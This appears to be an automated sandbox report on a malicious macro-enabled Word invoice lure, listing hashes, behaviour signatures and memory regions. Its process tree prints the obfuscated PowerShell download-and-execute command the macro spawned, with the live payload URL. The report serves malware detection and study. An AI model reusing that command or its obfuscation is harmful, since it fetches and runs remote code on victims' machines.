Analysis

  • max time kernel
    34s
  • max time network
    39s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-08-2023 07:58

General

  • Target

    INVOICE PACKAGE LINK TO DOWNLOAD.docm

  • Size

    16KB

  • MD5

    f2d0c66b801244c059f636d08a474079

  • SHA1

    c62129fff128817b5af62aa0051c082f9992112e

  • SHA256

    08d4fd5032b8b24072bdff43932630d4200f68404d7e12ffeeda2364c8158873

  • SHA512

    5283b2c228d6bdfe5d942f0a318ecd7e251e8a78d1451dc825f05e35d5e07a362e04c8777f63761b13bc672e76391cdc11be5e86ae4a260715e3e5a5cd2f305d

  • SSDEEP

    384:/iMIoinwt9VRFPZ1AZy8WNxt/ZtNN6wyMDv6js2ZzoP6Yv:/7u651AQrxllN6wyMOAOUPPv

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://filetransfer.io/data-package/UR2whuBv/download

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\INVOICE PACKAGE LINK TO DOWNLOAD.docm" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell I`EX ((n`e`W`-Obj`E`c`T (('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://filetransfer.io/data-package/UR2whuBv/download'))))
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4028

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h2vu0sdh.low.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3508-141-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-179-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-136-0x00007FF90E7F0000-0x00007FF90E800000-memory.dmp
    Filesize

    64KB

  • memory/3508-138-0x00007FF90E7F0000-0x00007FF90E800000-memory.dmp
    Filesize

    64KB

  • memory/3508-139-0x00007FF90E7F0000-0x00007FF90E800000-memory.dmp
    Filesize

    64KB

  • memory/3508-137-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-150-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-133-0x00007FF90E7F0000-0x00007FF90E800000-memory.dmp
    Filesize

    64KB

  • memory/3508-143-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-142-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-144-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-145-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-146-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-147-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-181-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-134-0x00007FF90E7F0000-0x00007FF90E800000-memory.dmp
    Filesize

    64KB

  • memory/3508-140-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-152-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-153-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-151-0x00007FF90BEC0000-0x00007FF90BED0000-memory.dmp
    Filesize

    64KB

  • memory/3508-154-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-155-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-156-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-135-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-149-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-180-0x00007FF94E770000-0x00007FF94E965000-memory.dmp
    Filesize

    2.0MB

  • memory/3508-148-0x00007FF90BEC0000-0x00007FF90BED0000-memory.dmp
    Filesize

    64KB

  • memory/4028-174-0x0000023433190000-0x00000234331A0000-memory.dmp
    Filesize

    64KB

  • memory/4028-178-0x00007FF9209A0000-0x00007FF921461000-memory.dmp
    Filesize

    10.8MB

  • memory/4028-173-0x0000023433190000-0x00000234331A0000-memory.dmp
    Filesize

    64KB

  • memory/4028-172-0x00007FF9209A0000-0x00007FF921461000-memory.dmp
    Filesize

    10.8MB

  • memory/4028-162-0x0000023433370000-0x0000023433392000-memory.dmp
    Filesize

    136KB